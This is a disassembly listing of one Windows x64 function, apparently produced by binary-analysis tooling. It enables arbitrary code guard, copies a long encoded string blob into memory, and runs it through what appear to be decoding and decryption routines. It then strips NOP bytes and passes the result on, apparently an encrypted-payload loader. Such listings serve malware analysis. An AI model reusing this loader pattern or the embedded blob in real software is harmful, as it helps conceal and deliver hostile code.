Function at 0x1400028a0
Capabilities:
Block operations on executable memory pages using arbitrary code guard

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x310
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x288], 0xfffffffffffffffe
lea rsi, [rbp + 0x278]
mov rcx, rsi
call fcn.140002190
mov rcx, rsi
call fcn.140002190
mov dword [rbp + 0x238], 1
lea rdx, [rbp + 0x238]
mov r8d, 4
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_SetProcessMitigationPolicy]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], 0
movaps xmmword [rbp + 0x240], xmm0
mov qword [rbp + 0x250], 0
movaps xmmword [rbp + 0x1f0], xmm0
mov qword [rbp + 0x200], 0
mov qword [rbp + 0x208], 0xf
movaps xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x220], 0
mov qword [rbp + 0x228], 0xf
mov ecx, 0x4d0
call fcn.140003694
mov rsi, rax
movaps xmm0, xmmword [0x140005400]
movaps xmmword [rbp + 0x200], xmm0
lea rdx, str.cYylIwGpiexlI6YOl8xPDHoe1fsSK9eNaUx63whIZP3mzebi5M3s_OPXmivNnImmTw3iqAmL0I4glRzuJ6Wx58LikDVJnJLMgBMds9h_BnNi5Fy6SqQlZ3zDTT77HMOWMM_3TtvNPRfT6RGxyeqJkX0HNXnDljB9jbnkh6lrOFWzGF5CfB9JLsHXQ9f1ipyQ7wdzL7NNwER_TZATjokbkT_c9kEddOXNsBHLxSyPgdgaPtgRsJq2LeszOIhjHNdfKATYAZntiPBW5AKFqILtjqSeNmH8LMhwpKuALXbVMGlvmP02Sol0r1W0l23qLEJwmjV7CwUj2rqp9SpIXLpM6FP0MdrFTUGLrr_YfQwPkCaE2MdUAn3wd5i3NqlKRCTJLq4XqFAy2lEmmg_GDJYggXAmpNMCBSermMQ5OSdRnxO50pxhxjnBY08ilZ0Vpf007Gy69auXRcJZ2TCDIneCJ_oamMubMLQBegSwOow8fJIDvZ5tJXSwrJrz1ETtphSRn2TpeOtYAP5wIJxNoXH0YEa0EJXcjgIGnpqcgpRNyErO_DDmjCkJQFCvlqKqC5A_49ZfbUUvEPM61Ew9Kpxb8v1RYTWw5mFsrSMKnIaMxjREJlO7B6VmtjmDRMthpjb2Q03lE6dKkCgWj2ilLKKpr6JDbZEqnRN4A1lgLw_MXHE1i_WFjryfgGkEEjoW6AUqK0D7TF6AyRsyjaHzVtsQqGKvx7unMRPFnG18aNkV8_wYZLcPQVmR5OVDDV4xgRTjl7Ao63rx8cQ84PyBaufeUhCEWNNKIaJ8TqO2AbwxLOQbuj9_vF3G_dcgxoyCccs7MIANkU1dHMAuNY1yGQGgTQK5i4Zeawbr9HOkAZtLDIMxVetEqiX93N0evU1Zvrkors9W1vnmK2ueNd9VBHovqEFC2LRGqqPLBGYEgY2E_8yQGgsmUvwEv4FZ9Nz3N0XS8DAak7ZCZy7WilAF58MKKN6gnaPqVZPGIRtH5F67fu7SYz5z_AgWUSgbecChbZnGHBE41ibdVsJOzP7pRPzGXJETDQGAHcjP7hv3_Q8ySKalDWwaNe_wQ505xIheCOVWKhk8wfV1LhVmBt2PTEBdad2bydRUe02HtIUSns6TDpLNmEzwXzMNMPobHWk8LvS1uuhZ4EUI6eqGsBtY4DwhywiDsz8XxOtaemjE6bzPclD_Yrop5mPdOUodsoQ
mov r8d, 0x4cc
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + 0x4cc], 0
mov qword [rbp + 0x1f0], rsi
lea rcx, [rbp + 0x280]
lea rdx, [rbp + 0xa0]
lea r8, [rbp + 0x1f0]
call fcn.140001a60
mov rax, qword [rbp + 0x228]
cmp rax, 0x10
jb 0x1400029f7
mov rcx, qword [rbp + 0x210]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1400029f2
mov rbx, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rbx
cmp rcx, 0x20
jae 0x140002d5d
add rax, 0x28
mov rdx, rax
mov rcx, rbx
call fcn.1400036d8
movups xmm0, xmmword [rbp + 0xa0]
movups xmm1, xmmword [rbp + 0xb0]
movaps xmmword [rbp + 0x220], xmm1
movaps xmmword [rbp + 0x210], xmm0
mov rax, qword [rbp + 0x260]
cmp rax, qword [rbp + 0x268]
je 0x140002a2a
mov qword [rbp + 0x268], rax
mov rbx, qword [rbp + 0x220]
cmp qword [rbp + 0x228], 0x10
jb 0x140002a49
mov rsi, qword [rbp + 0x210]
test rbx, rbx
jne 0x140002a55
jmp 0x140002aa7
lea rsi, [rbp + 0x210]
test rbx, rbx
je 0x140002aa7
add rbx, rsi
lea r14, [rbp + 0x260]
lea rdi, [rbp + 0xa0]
jmp 0x140002a81
mov byte [rdx], al
inc qword [rbp + 0x268]
inc rsi
cmp rsi, rbx
je 0x140002aa7
movzx eax, byte [rsi]
mov byte [rbp + 0xa0], al
mov rdx, qword [rbp + 0x268]
cmp rdx, qword [rbp + 0x270]
jne 0x140002a70
mov rcx, r14
mov r8, rdi
call fcn.140002f80
jmp 0x140002a79
movaps xmm0, xmmword [0x1400053e0]
movaps xmmword [rbp + 0x1b0], xmm0
movaps xmm0, xmmword [0x1400053d0]
movaps xmmword [rbp + 0x1a0], xmm0
movaps xmm0, xmmword [0x1400053f0]
movaps xmmword [rbp + 0x1c0], xmm0
lea rcx, [rbp + 0xa0]
lea rsi, [rbp + 0x1a0]
lea rdi, [rbp + 0x1c0]
mov rdx, rsi
mov r8, rdi
call fcn.1400011a0
lea rbx, [rbp - 0x60]
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.1400011a0
mov r8d, dword [rbp + 0x268]
mov rdx, qword [rbp + 0x260]
sub r8d, edx
mov rcx, rbx
call fcn.1400017b0
mov rax, qword [rbp + 0x240]
cmp rax, qword [rbp + 0x248]
je 0x140002b33
mov qword [rbp + 0x248], rax
mov rdi, qword [rbp + 0x268]
sub rdi, qword [rbp + 0x260]
lea rbx, [rdi - 1]
xor esi, esi
lea r14, [rbp + 0x240]
jmp 0x140002b6b
mov rdx, qword [rbp + 0x248]
cmp rdx, qword [rbp + 0x250]
je 0x140002ba0
mov byte [rdx], cl
inc qword [rbp + 0x248]
inc esi
mov eax, esi
cmp rdi, rax
jbe 0x140002baf
mov r8, qword [rbp + 0x260]
movzx ecx, byte [r8 + rax]
cmp cl, 0x90
jne 0x140002b88
cmp rbx, rax
je 0x140002baf
cmp cl, 0x90
jne 0x140002b50
cmp byte [rax + r8 + 1], 0x90
jne 0x140002b50
jmp 0x140002baf
add r8, rax
mov rcx, r14
call fcn.140002f80
inc esi
jmp 0x140002b6b
xorps xmm0, xmm0
movaps xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], 0
mov rsi, qword [rbp + 0x248]
sub rsi, qword [rbp + 0x240]
je 0x140002c3f
js 0x140002d63
cmp rsi, 0x1000
jb 0x140002bfd
lea rcx, [rsi + 0x27]
call fcn.140003694
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002c08
mov rcx, rsi
call fcn.140003694
mov rdi, rax
mov qword [rbp + 0x1d0], rdi
add rsi, rdi
mov qword [rbp + 0x1e0], rsi
mov rdx, qword [rbp + 0x240]
mov rsi, qword [rbp + 0x248]
sub rsi, rdx
mov rcx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memmove
add rsi, rdi
mov qword [rbp + 0x1d8], rsi
lea rcx, [rbp + 0x1d0]
call fcn.1400021a0
mov rax, qword [rbp + 0x228]
cmp rax, 0x10
jb 0x140002c90
mov rcx, qword [rbp + 0x210]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140002c8b
mov rbx, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rbx
cmp rcx, 0x20
jae 0x140002d5d
add rax, 0x28
mov rdx, rax
mov rcx, rbx
call fcn.1400036d8
mov rax, qword [rbp + 0x208]
cmp rax, 0x10
jb 0x140002cd5
mov rcx, qword [rbp + 0x1f0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140002cd0
mov rbx, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rbx
cmp rcx, 0x20
jae 0x140002d5d
add rax, 0x28
mov rdx, rax
mov rcx, rbx
call fcn.1400036d8
mov rcx, qword [rbp + 0x240]
test rcx, rcx
je 0x140002d11
mov rdx, qword [rbp + 0x250]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140002d0c
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x140002d5d
add rdx, 0x27
mov rcx, rax
call fcn.1400036d8
mov rcx, qword [rbp + 0x260]
test rcx, rcx
je 0x140002d4d
mov rdx, qword [rbp + 0x270]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140002d48
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x140002d5d
add rdx, 0x27
mov rcx, rax
call fcn.1400036d8
xor eax, eax
add rsp, 0x310
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
call fcn.1400030e0
int3